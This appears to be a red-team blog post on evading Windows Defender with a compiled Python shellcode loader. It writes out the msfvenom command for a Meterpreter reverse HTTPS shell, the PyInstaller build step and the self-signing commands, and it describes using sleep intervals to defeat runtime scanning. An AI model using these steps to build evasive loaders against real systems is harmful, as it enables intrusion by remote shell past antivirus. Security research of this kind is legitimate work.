Creating Python executables during an offensive security engagement used to be an effective method of evasion. However, this tactic has become increasingly difficult on modern Windows endpoints.
In fact, even benign programs seem to get blocked immediately after touching disk. This is just one of the reasons red teamers have moved away from popular frameworks such as Veil-Evasion and onto bigger-better things.
This post revisits compiled Python’s use in offensive security testing and shares my experiences launching Meterpreter shells on a fully patched Windows 10 system against Windows Defender.
Given my primary focus was on evasion tactics in the compiled executable, I created a simple shellcode loader as my “malware”. The script called common Windows functions such as
CreateThread to inject shellcode locally within the current process.
The payload itself utilized a
reverse_https connection over port 443 and was generated by MSFVenom, without any encoding or obfuscation techniques:
1 msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.157 LPORT=443 -f py
At this point, I didn’t have much faith in the code and thought it was sure to get detected. However, when attempting to execute the Python script directly, no alerts were triggered and a reverse connection was established.
Despite triggering a successful Meterpreter shell, we cant rely on Python being installed on every Windows workstation. Therefore, the next step is to compile the source code — making it executable without needing any additional resources on the host.
Compiling Python is performed using tools like
cx_freeze. These work by wrapping the bytecode version (
.pyc) of the script and all required dependencies/interpreters into a single
1 pyinstaller --onefile .\shellcode_loader.py
Unfortunately, when downloading the newly compiled
shellcode_loader.exe onto the target system, I didn’t get very far before receiving the following alert:
At this point, I thought about potential strategies to avoid detection and looked into signing the executable with a self-signed certificate.
Using the Visual Studio Developer Command Prompt, I executed the following commands to generate a certificate and sign the
1 2 3 >> makecert /r /h 0 /eku "18.104.22.168.22.214.171.124.3,126.96.36.199.4.1.3188.8.131.52" /e 12/12/2025 /sv m8.pvk m8.cer >> pvk2pfx /pvk m8.pvk /spc m8.cer /pfx m8.pfx >> signtool sign /a /fd SHA256 /f m8.pfx shellcode_loader.exe
Now, looking at the file’s properties, “Joe’s-Software-Emporium” was listed under Digital Signature details— (Microsoft Default). With that, the executable could be downloaded without detection.
Although I was able to download the file, Windows Defender still flagged the program when attempting execution. That’s when I remembered reading F-Secure’s post about evading Windows Defender Runtime Scanning, which provided lots of great takeaways.
In short, I found adding various sleep intervals between the Win32 API calls bypassed runtime scanning and successfully triggered a working reverse shell.
A compiled Python executable wouldn’t be my first choice in a true red teaming engagement. However, this was a fun proof-of-concept and may prove useful in other areas of offensive security testing.
A final copy of my
shellcode_loader.py script can be found on GitHub.
Thanks for reading!